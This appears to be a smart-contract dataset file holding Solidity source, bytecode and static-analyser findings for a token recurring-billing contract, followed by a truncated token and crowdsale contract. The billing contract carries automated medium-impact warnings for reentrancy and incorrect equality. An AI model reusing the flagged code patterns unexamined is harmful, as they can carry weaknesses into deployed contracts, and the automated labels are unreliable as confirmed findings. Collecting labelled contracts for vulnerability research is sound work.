| 3,326 |
0xdcc90d21186e9c1b60439fdbf88f0f14ad3a7355
|
/**
* Token recurring billing smart contracts, which enable recurring billing feature for ERC20-compatible tokens.
* Developed by DreamTeam.GG contributors. Visit dreamteam.gg and github.com/dreamteam-gg/smart-contracts for more info.
* Copyright © 2019 DREAMTEAM.
* Licensed under the Apache License, Version 2.0 (the "License").
*/
pragma solidity 0.5.2;
interface ERC20CompatibleToken {
function balanceOf(address tokenOwner) external view returns (uint balance);
function allowance(address tokenOwner, address spender) external view returns (uint remaining);
function transfer (address to, uint tokens) external returns (bool success);
function transferFrom (address from, address to, uint tokens) external returns (bool success);
}
/**
* Math operations with safety checks that throw on overflows.
*/
library SafeMath {
function mul (uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b);
return c;
}
function div (uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub (uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
function add (uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
require(c >= a);
return c;
}
}
/**
* Factory that creates recurring billing smart contracts for specified token.
* You can enable recurring billing for your own ERC20-compatible tokens!
* Find the documentation here: https://github.com/dreamteam-gg/smart-contracts#smart-contracts-documentation
*/
contract RecurringBillingContractFactory {
event NewRecurringBillingContractCreated(address token, address recurringBillingContract);
function newRecurringBillingContract (address tokenAddress) public returns (address recurringBillingContractAddress) {
TokenRecurringBilling rb = new TokenRecurringBilling(tokenAddress);
emit NewRecurringBillingContractCreated(tokenAddress, address(rb));
return address(rb);
}
}
/**
* Smart contract for recurring billing in ERC20-compatible tokens. This smart contract defines workflow between
* a merchant and a customer. Workflow:
* 1. Merchant registers theirselves in this smart contract using `registerNewMerchant`.
* 1.1. Merchant specifies `beneficiary` address, which receives tokens.
* 1.2. Merchant specifies `merchant` address, which is able to change `merchant` and `beneficiary` addresses.
* 1.3. Merchant specified an address that is authorized to call `charge` related to this merchant.
* 1.3.1. Later, merchant can (de)authorize another addresses to call `charge` using `changeMerchantChargingAccount`.
* 1.4. As a result, merchant gets `merchantId`, which is used to initialize recurring billing by customers.
* 1.5. Merchant account can change their `beneficiary`, `merchant` and authorized charging addresses by calling:
* 1.4.1. Function `changeMerchantAccount`, which changes account that can control this merchant (`merchantId`).
* 1.4.2. Function `changeMerchantBeneficiaryAddress`, which changes merchant's `beneficiary`.
* 1.4.3. Function `changeMerchantChargingAccount`, which (de)authorizes addresses to call `charge` on behalf of this merchant.
* 2. According to an off-chain agreement with merchant, customer calls `allowRecurringBilling` and:
* 2.1. Specifies `billingId`, which is given off-chain by merchant (merchant will listen blockchain Event on this ID).
* 2.2. Specifies `merchantId`, the merchant which will receive tokens.
* 2.3. Specifies `period` in seconds, during which only one charge can occur.
* 2.4. Specifies `value`, amount in tokens which can be charged each `period`.
* 2.4.1. If the customer doesn't have at least `value` tokens, `allowRecurringBilling` errors.
* 2.4.2. If the customer haven't approved at least `value` tokens for a smart contract, `allowRecurringBilling` errors.
* 2.5. `billingId` is then used by merchant to charge customer each `period`.
* 3. Merchant use authorized accounts (1.3) to call the `charge` function each `period` to charge agreed amount from a customer.
* 3.1. It is impossible to call `charge` if the date of the last charge is less than `period`.
* 3.2. Calling `charge` cancels billing when called after 2 `period`s from the last charge.
* 3.3. Thus, to successfully charge an account, `charge` must be strictly called within 1 and 2 `period`s after the last charge.
* 3.4. Calling `charge` errors if any of the following occur:
* 3.4.1. Customer canceled recurring billing with `cancelRecurringBilling`.
* 3.4.2. Customer's balance is lower than the chargeable amount.
* 3.4.3. Customer's allowance to the smart contract is less than the chargable amount.
* 3.4.4. Specified `billingId` does not exists.
* 3.4.5. There's no `period` passed since the last charge.
* 3.5. Next charge date increments strictly by `period` each charge, thus, there's no need to exec `charge` strictly on time.
* 4. Customer can cancel further billing by calling `cancelRecurringBilling` and passing `billingId`.
* 5. TokenRecurringBilling smart contract implements `receiveApproval` function for allowing/cancelling billing within one call from
* the token smart contract. Parameter `data` is encoded as tightly-packed (uint256 metadata, uint256 billingId).
* 5.1. `metadata` is encoded using `encodeBillingMetadata`.
* 5.2. As for `receiveApproval`, `lastChargeAt` in `metadata` is used as an action identifier.
* 5.2.1. `lastChargeAt=0` specifies that customer wants to allow new recurring billing.
* 5.2.2. `lastChargeAt=1` specifies that customer wants to cancel existing recurring billing.
* 5.3. Make sure that passed `bytes` parameter is exactly 64 bytes in length.
*/
contract TokenRecurringBilling {
using SafeMath for uint256;
event BillingAllowed(uint256 indexed billingId, address customer, uint256 merchantId, uint256 timestamp, uint256 period, uint256 value);
event BillingCharged(uint256 indexed billingId, uint256 timestamp, uint256 nextChargeTimestamp);
event BillingCanceled(uint256 indexed billingId);
event MerchantRegistered(uint256 indexed merchantId, address merchantAccount, address beneficiaryAddress);
event MerchantAccountChanged(uint256 indexed merchantId, address merchantAccount);
event MerchantBeneficiaryAddressChanged(uint256 indexed merchantId, address beneficiaryAddress);
event MerchantChargingAccountAllowed(uint256 indexed merchantId, address chargingAccount, bool allowed);
struct BillingRecord {
address customer; // Billing address (those who pay).
uint256 metadata; // Metadata packs 5 values to save on storage. Metadata spec (from first to last byte):
// + uint32 period; // Billing period in seconds; configurable period of up to 136 years.
// + uint32 merchantId; // Merchant ID; up to ~4.2 Milliard IDs.
// + uint48 lastChargeAt; // When the last charge occurred; up to year 999999+.
// + uint144 value; // Billing value charrged each period; up to ~22 septillion tokens with 18 decimals
}
struct Merchant {
address merchant; // Merchant admin address that can change all merchant struct properties.
address beneficiary; // Address receiving tokens.
}
enum receiveApprovalAction { // In receiveApproval, `lastChargeAt` in passed `metadata` specifies an action to execute.
allowRecurringBilling, // == 0
cancelRecurringBilling // == 1
}
uint256 public lastMerchantId; // This variable increments on each new merchant registered, generating unique ids for merchant.
ERC20CompatibleToken public token; // Token address.
mapping(uint256 => BillingRecord) public billingRegistry; // List of all billings registered by ID.
mapping(uint256 => Merchant) public merchantRegistry; // List of all merchants registered by ID.
mapping(uint256 => mapping(address => bool)) public merchantChargingAccountAllowed; // Accounts that are allowed to charge customers.
// Checks whether {merchant} owns {merchantId}
modifier isMerchant (uint256 merchantId) {
require(merchantRegistry[merchantId].merchant == msg.sender, "Sender is not a merchant");
_;
}
// Checks whether {customer} owns {billingId}
modifier isCustomer (uint256 billingId) {
require(billingRegistry[billingId].customer == msg.sender, "Sender is not a customer");
_;
}
// Guarantees that the transaction is sent by token smart contract only.
modifier tokenOnly () {
require(msg.sender == address(token), "Sender is not a token");
_;
}
/// ======================================================== Constructor ========================================================= \\\
// Creates a recurring billing smart contract for particular token.
constructor (address tokenAddress) public {
token = ERC20CompatibleToken(tokenAddress);
}
/// ====================================================== Public Functions ====================================================== \\\
// Enables merchant with {merchantId} to charge transaction signer's account according to specified {value} and {period}.
function allowRecurringBilling (uint256 billingId, uint256 merchantId, uint256 value, uint256 period) public {
allowRecurringBillingInternal(msg.sender, merchantId, billingId, value, period);
}
// Enables anyone to become a merchant, charging tokens for their services.
function registerNewMerchant (address beneficiary, address chargingAccount) public returns (uint256 merchantId) {
merchantId = ++lastMerchantId;
Merchant storage record = merchantRegistry[merchantId];
record.merchant = msg.sender;
record.beneficiary = beneficiary;
emit MerchantRegistered(merchantId, msg.sender, beneficiary);
changeMerchantChargingAccount(merchantId, chargingAccount, true);
}
/// =========================================== Public Functions with Restricted Access =========================================== \\\
// Calcels recurring billing with id {billingId} if it is owned by a transaction signer.
function cancelRecurringBilling (uint256 billingId) public isCustomer(billingId) {
cancelRecurringBillingInternal(billingId);
}
// Charges customer's account according to defined {billingId} billing rules. Only merchant's authorized accounts can charge the customer.
function charge (uint256 billingId) public {
BillingRecord storage billingRecord = billingRegistry[billingId];
(uint256 value, uint256 lastChargeAt, uint256 merchantId, uint256 period) = decodeBillingMetadata(billingRecord.metadata);
require(merchantChargingAccountAllowed[merchantId][msg.sender], "Sender is not allowed to charge");
require(merchantId != 0, "Billing does not exist");
require(lastChargeAt.add(period) <= now, "Charged too early");
// If 2 periods have already passed since the last charge (or beginning), no further charges are possible
// and recurring billing is canceled in case of a charge.
if (now > lastChargeAt.add(period.mul(2))) {
cancelRecurringBillingInternal(billingId);
return;
}
require(
token.transferFrom(billingRecord.customer, merchantRegistry[merchantId].beneficiary, value),
"Unable to charge customer"
);
billingRecord.metadata = encodeBillingMetadata(value, lastChargeAt.add(period), merchantId, period);
emit BillingCharged(billingId, now, lastChargeAt.add(period.mul(2)));
}
/**
* Invoked by a token smart contract on approveAndCall. Allows or cancels recurring billing.
* @param sender - Address that approved some tokens for this smart contract.
* @param data - Tightly-packed (uint256,uint256) values of (metadata, billingId). Metadata's `lastChargeAt`
* specifies an action to perform (see `receiveApprovalAction` enum).
*/
function receiveApproval (address sender, uint, address, bytes calldata data) external tokenOnly {
// The token contract MUST guarantee that "sender" is actually the token owner, and metadata is signed by a token owner.
require(data.length == 64, "Invalid data length");
// `action` is used instead of `lastCahrgeAt` to save some space.
(uint256 value, uint256 action, uint256 merchantId, uint256 period) = decodeBillingMetadata(bytesToUint256(data, 0));
uint256 billingId = bytesToUint256(data, 32);
if (action == uint256(receiveApprovalAction.allowRecurringBilling)) {
allowRecurringBillingInternal(sender, merchantId, billingId, value, period);
} else if (action == uint256(receiveApprovalAction.cancelRecurringBilling)) {
require(billingRegistry[billingId].customer == sender, "Unable to cancel recurring billing of another customer");
cancelRecurringBillingInternal(billingId);
} else {
revert("Unknown action provided");
}
}
// Changes merchant account with id {merchantId} to {newMerchantAccount}.
function changeMerchantAccount (uint256 merchantId, address newMerchantAccount) public isMerchant(merchantId) {
merchantRegistry[merchantId].merchant = newMerchantAccount;
emit MerchantAccountChanged(merchantId, newMerchantAccount);
}
// Changes merchant's beneficiary address (address that receives charged tokens) to {newBeneficiaryAddress}.
function changeMerchantBeneficiaryAddress (uint256 merchantId, address newBeneficiaryAddress) public isMerchant(merchantId) {
merchantRegistry[merchantId].beneficiary = newBeneficiaryAddress;
emit MerchantBeneficiaryAddressChanged(merchantId, newBeneficiaryAddress);
}
// Allows or disallows particular {account} to charge customers related to this merchant.
function changeMerchantChargingAccount (uint256 merchantId, address account, bool allowed) public isMerchant(merchantId) {
merchantChargingAccountAllowed[merchantId][account] = allowed;
emit MerchantChargingAccountAllowed(merchantId, account, allowed);
}
/// ================================================== Public Utility Functions ================================================== \\\
// Used to encode 5 values into one uint256 value. This is primarily made for cheaper storage.
function encodeBillingMetadata (
uint256 value,
uint256 lastChargeAt,
uint256 merchantId,
uint256 period
) public pure returns (uint256 result) {
require(
value < 2 ** 144
&& lastChargeAt < 2 ** 48
&& merchantId < 2 ** 32
&& period < 2 ** 32,
"Invalid input sizes to encode"
);
result = value;
result |= lastChargeAt << (144);
result |= merchantId << (144 + 48);
result |= period << (144 + 48 + 32);
return result;
}
// Used to decode 5 values from one uint256 value encoded by `encodeBillingMetadata` function.
function decodeBillingMetadata (uint256 encodedData) public pure returns (
uint256 value,
uint256 lastChargeAt,
uint256 merchantId,
uint256 period
) {
value = uint144(encodedData);
lastChargeAt = uint48(encodedData >> (144));
merchantId = uint32(encodedData >> (144 + 48));
period = uint32(encodedData >> (144 + 48 + 32));
}
/// ================================================ Internal (Private) Functions ================================================ \\\
// Allows recurring billing. Noone but this contract can call this function.
function allowRecurringBillingInternal (
address customer,
uint256 merchantId,
uint256 billingId,
uint256 value,
uint256 period
) internal {
require(merchantId <= lastMerchantId && merchantId != 0, "Invalid merchant specified");
require(period < now, "Invalid period specified");
require(token.balanceOf(customer) >= value, "Not enough tokens for the first charge");
require(token.allowance(customer, address(this)) >= value, "Tokens are not approved for this smart contract");
require(billingRegistry[billingId].customer == address(0x0), "Recurring billing with this ID is already registered");
BillingRecord storage newRecurringBilling = billingRegistry[billingId];
newRecurringBilling.metadata = encodeBillingMetadata(value, now.sub(period), merchantId, period);
newRecurringBilling.customer = customer;
emit BillingAllowed(billingId, customer, merchantId, now, period, value);
}
// Cancels recurring billing. Noone but this contract can call this function.
function cancelRecurringBillingInternal (uint256 billingId) internal {
delete billingRegistry[billingId];
emit BillingCanceled(billingId);
}
// Utility function to convert bytes type to uint256. Noone but this contract can call this function.
function bytesToUint256(bytes memory input, uint offset) internal pure returns (uint256 output) {
assembly { output := mload(add(add(input, 32), offset)) }
}
}
|
0x608060405234801561001057600080fd5b5060043610610047577c01000000000000000000000000000000000000000000000000000000006000350463ddcfa217811461004c575b600080fd5b61007f6004803603602081101561006257600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166100a8565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b600080826100b461014a565b73ffffffffffffffffffffffffffffffffffffffff909116815260405190819003602001906000f0801580156100ee573d6000803e3d6000fd5b506040805173ffffffffffffffffffffffffffffffffffffffff80871682528316602082015281519293507f9f6cf7ccb2e4f68c7ce568594283c8d89ee6a64266981b12086ae803e7e75500929081900390910190a192915050565b6040516114a98061015b8339019056fe608060405234801561001057600080fd5b506040516020806114a98339810180604052602081101561003057600080fd5b505160018054600160a060020a031916600160a060020a03909216919091179055611449806100606000396000f3fe608060405234801561001057600080fd5b50600436106100f95760003560e060020a9004806382ef2ad01161009b578063e457e1e51161006a578063e457e1e514610373578063ee95a9de14610390578063f1e8ace7146103be578063fc0c546a14610401576100f9565b806382ef2ad01461027f5780638f4ffcb1146102875780639cd106a814610316578063c446ae7014610333576100f9565b8063440b2355116100d7578063440b2355146101a15780634c18e960146101e45780636e2f10bd146102135780637fb339d61461023f576100f9565b806317c3925f146100fe5780632faa5e3c1461013f5780633913848e1461016d575b600080fd5b61012d6004803603608081101561011457600080fd5b5080359060208101359060408101359060600135610425565b60408051918252519081900360200190f35b61016b6004803603604081101561015557600080fd5b5080359060200135600160a060020a031661050b565b005b61016b6004803603606081101561018357600080fd5b50803590600160a060020a03602082013516906040013515156105ed565b6101be600480360360208110156101b757600080fd5b50356106d0565b60408051600160a060020a03938416815291909216602082015281519081900390910190f35b61016b600480360360808110156101fa57600080fd5b50803590602081013590604081013590606001356106f6565b61016b6004803603604081101561022957600080fd5b5080359060200135600160a060020a0316610709565b61025c6004803603602081101561025557600080fd5b50356107ee565b60408051600160a060020a03909316835260208301919091528051918290030190f35b61012d610813565b61016b6004803603608081101561029d57600080fd5b600160a060020a0382358116926020810135926040820135909216918101906080810160608201356401000000008111156102d757600080fd5b8201836020820111156102e957600080fd5b8035906020019184600183028401116401000000008311171561030b57600080fd5b509092509050610819565b61016b6004803603602081101561032c57600080fd5b5035610a50565b61035f6004803603604081101561034957600080fd5b5080359060200135600160a060020a0316610acd565b604080519115158252519081900360200190f35b61016b6004803603602081101561038957600080fd5b5035610aed565b61012d600480360360408110156103a657600080fd5b50600160a060020a0381358116916020013516610e1b565b6103db600480360360208110156103d457600080fd5b5035610ebf565b604080519485526020850193909352838301919091526060830152519081900360800190f35b610409610f24565b60408051600160a060020a039092168252519081900360200190f35b600072010000000000000000000000000000000000008510801561044f5750660100000000000084105b801561045f575064010000000083105b801561046f575064010000000082105b15156104c5576040805160e560020a62461bcd02815260206004820152601d60248201527f496e76616c696420696e7075742073697a657320746f20656e636f6465000000604482015290519081900360640190fd5b5060e060020a8102780100000000000000000000000000000000000000000000000083027201000000000000000000000000000000000000850286171717949350505050565b6000828152600360205260409020548290600160a060020a0316331461057b576040805160e560020a62461bcd02815260206004820152601860248201527f53656e646572206973206e6f742061206d65726368616e740000000000000000604482015290519081900360640190fd5b600083815260036020908152604091829020805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0386169081179091558251908152915185927fd35b408ba3571fabd440ceb0aec76b70ca0bc9f3e3ba8fff9d29f04bfff304dd92908290030190a2505050565b6000838152600360205260409020548390600160a060020a0316331461065d576040805160e560020a62461bcd02815260206004820152601860248201527f53656e646572206973206e6f742061206d65726368616e740000000000000000604482015290519081900360640190fd5b6000848152600460209081526040808320600160a060020a03871680855290835292819020805460ff1916861515908117909155815193845291830191909152805186927fc338630af7fbf9aa0a16bb027ac14ebd17333b7e4bc624bcc26e43a3044ba32292908290030190a250505050565b60036020526000908152604090208054600190910154600160a060020a03918216911682565b6107033384868585610f33565b50505050565b6000828152600360205260409020548290600160a060020a03163314610779576040805160e560020a62461bcd02815260206004820152601860248201527f53656e646572206973206e6f742061206d65726368616e740000000000000000604482015290519081900360640190fd5b600083815260036020908152604091829020600101805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0386169081179091558251908152915185927f9d83cbe44450c5e9f8b8adcff3a1812cfdfdb4b73ad00696c06712779805541f92908290030190a2505050565b60026020526000908152604090208054600190910154600160a060020a039091169082565b60005481565b600154600160a060020a0316331461087b576040805160e560020a62461bcd02815260206004820152601560248201527f53656e646572206973206e6f74206120746f6b656e0000000000000000000000604482015290519081900360640190fd5b604081146108d3576040805160e560020a62461bcd02815260206004820152601360248201527f496e76616c69642064617461206c656e67746800000000000000000000000000604482015290519081900360640190fd5b60008060008061092061091b87878080601f016020809104026020016040519081016040528093929190818152602001838380828437600092018290525092506112a6915050565b610ebf565b9350935093509350600061096c87878080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250602092506112a6915050565b9050831515610987576109828a84838886610f33565b610a44565b60018414156109f457600081815260026020526040902054600160a060020a038b81169116146109eb5760405160e560020a62461bcd02815260040180806020018281038252603681526020018061135f6036913960400191505060405180910390fd5b610982816112ae565b6040805160e560020a62461bcd02815260206004820152601760248201527f556e6b6e6f776e20616374696f6e2070726f7669646564000000000000000000604482015290519081900360640190fd5b50505050505050505050565b6000818152600260205260409020548190600160a060020a03163314610ac0576040805160e560020a62461bcd02815260206004820152601860248201527f53656e646572206973206e6f74206120637573746f6d65720000000000000000604482015290519081900360640190fd5b610ac9826112ae565b5050565b600460209081526000928352604080842090915290825290205460ff1681565b60008181526002602052604081206001810154909190819081908190610b1290610ebf565b60008281526004602090815260408083203384529091529020549397509195509350915060ff161515610b8f576040805160e560020a62461bcd02815260206004820152601f60248201527f53656e646572206973206e6f7420616c6c6f77656420746f2063686172676500604482015290519081900360640190fd5b811515610be6576040805160e560020a62461bcd02815260206004820152601660248201527f42696c6c696e6720646f6573206e6f7420657869737400000000000000000000604482015290519081900360640190fd5b42610bf7848363ffffffff61130716565b1115610c4d576040805160e560020a62461bcd02815260206004820152601160248201527f4368617267656420746f6f206561726c79000000000000000000000000000000604482015290519081900360640190fd5b610c6e610c6182600263ffffffff61131d16565b849063ffffffff61130716565b421115610c8857610c7e866112ae565b5050505050610e18565b60018054865460008581526003602090815260408083209095015485517f23b872dd000000000000000000000000000000000000000000000000000000008152600160a060020a0394851660048201529084166024820152604481018a9052945192909316936323b872dd93606480830194919391928390030190829087803b158015610d1457600080fd5b505af1158015610d28573d6000803e3d6000fd5b505050506040513d6020811015610d3e57600080fd5b50511515610d96576040805160e560020a62461bcd02815260206004820152601960248201527f556e61626c6520746f2063686172676520637573746f6d657200000000000000604482015290519081900360640190fd5b610db184610daa858463ffffffff61130716565b8484610425565b6001860155857ff0e249d47d0ac6e79422d646c38f31c1b93dc56cc3ca0202a9f0c8a5879f96ef42610dfa610ded85600263ffffffff61131d16565b879063ffffffff61130716565b6040805192835260208301919091528051918290030190a250505050505b50565b60008054600190810180835580835260036020908152604093849020805473ffffffffffffffffffffffffffffffffffffffff199081163390811783559482018054600160a060020a038a1692168217905585519485529184019190915283519193909284927f817e18163b81cf9c490b9d9e647dae7d192c4907c18acf578ec4e3de57202023929181900390910190a2610eb8828460016105ed565b5092915050565b71ffffffffffffffffffffffffffffffffffff81169165ffffffffffff72010000000000000000000000000000000000008304169163ffffffff7801000000000000000000000000000000000000000000000000820481169260e060020a9092041690565b600154600160a060020a031681565b6000548411158015610f4457508315155b1515610f9a576040805160e560020a62461bcd02815260206004820152601a60248201527f496e76616c6964206d65726368616e7420737065636966696564000000000000604482015290519081900360640190fd5b428110610ff1576040805160e560020a62461bcd02815260206004820152601860248201527f496e76616c696420706572696f64207370656369666965640000000000000000604482015290519081900360640190fd5b600154604080517f70a08231000000000000000000000000000000000000000000000000000000008152600160a060020a0388811660048301529151859392909216916370a0823191602480820192602092909190829003018186803b15801561105a57600080fd5b505afa15801561106e573d6000803e3d6000fd5b505050506040513d602081101561108457600080fd5b505110156110c65760405160e560020a62461bcd0281526004018080602001828103825260268152602001806113f86026913960400191505060405180910390fd5b600154604080517fdd62ed3e000000000000000000000000000000000000000000000000000000008152600160a060020a03888116600483015230602483015291518593929092169163dd62ed3e91604480820192602092909190829003018186803b15801561113557600080fd5b505afa158015611149573d6000803e3d6000fd5b505050506040513d602081101561115f57600080fd5b505110156111a15760405160e560020a62461bcd02815260040180806020018281038252602f8152602001806113c9602f913960400191505060405180910390fd5b600083815260026020526040902054600160a060020a0316156111f85760405160e560020a62461bcd0281526004018080602001828103825260348152602001806113956034913960400191505060405180910390fd5b60008381526002602052604090206112218361121a428563ffffffff61134916565b8785610425565b60018201558054600160a060020a03871673ffffffffffffffffffffffffffffffffffffffff19909116811782556040805191825260208201879052428282015260608201849052608082018590525185917feb239a79a50d36f19427f1b96bc211ab9fa7e493e250417e593b28b872a6fa94919081900360a00190a2505050505050565b016020015190565b600081815260026020526040808220805473ffffffffffffffffffffffffffffffffffffffff191681556001018290555182917f2b5753dbaf3a6af5535e40a61f019aad8c4e909e178a42b4b8f680a76bef3c3891a250565b8181018281101561131757600080fd5b92915050565b600082151561132e57506000611317565b5081810281838281151561133e57fe5b041461131757600080fd5b60008282111561135857600080fd5b5090039056fe556e61626c6520746f2063616e63656c20726563757272696e672062696c6c696e67206f6620616e6f7468657220637573746f6d6572526563757272696e672062696c6c696e672077697468207468697320494420697320616c72656164792072656769737465726564546f6b656e7320617265206e6f7420617070726f76656420666f72207468697320736d61727420636f6e74726163744e6f7420656e6f75676820746f6b656e7320666f722074686520666972737420636861726765a165627a7a72305820b1d9df70b2769f1c0a6dc1994e80fd22c9704ad6f275775307b10c94113d58ad0029a165627a7a723058201cc1efc1eef791dcb151481223309dfaca0402a9e7b5bd47ac54f227daee50440029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 3,327 |
0x37fc82964212e2af52b6352520fa0698e6fb4a06
|
pragma solidity ^0.4.18;
// File: zeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: zeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: zeppelin-solidity/contracts/token/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: zeppelin-solidity/contracts/token/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
// File: zeppelin-solidity/contracts/token/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: zeppelin-solidity/contracts/token/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: zeppelin-solidity/contracts/token/MintableToken.sol
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
if (totalSupply.add(_amount) > 1000000000000000000000000000) {
return false;
}
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
// File: contracts/TGCToken.sol
contract TGCToken is MintableToken {
string public constant name = "TokensGate Coin";
string public constant symbol = "TGC";
uint8 public constant decimals = 18;
}
// File: zeppelin-solidity/contracts/crowdsale/Crowdsale.sol
/**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale.
* Crowdsales have a start and end timestamps, where investors can make
* token purchases and the crowdsale will assign them tokens based
* on a token per ETH rate. Funds collected are forwarded to a wallet
* as they arrive.
*/
contract Crowdsale {
using SafeMath for uint256;
// The token being sold
MintableToken public token;
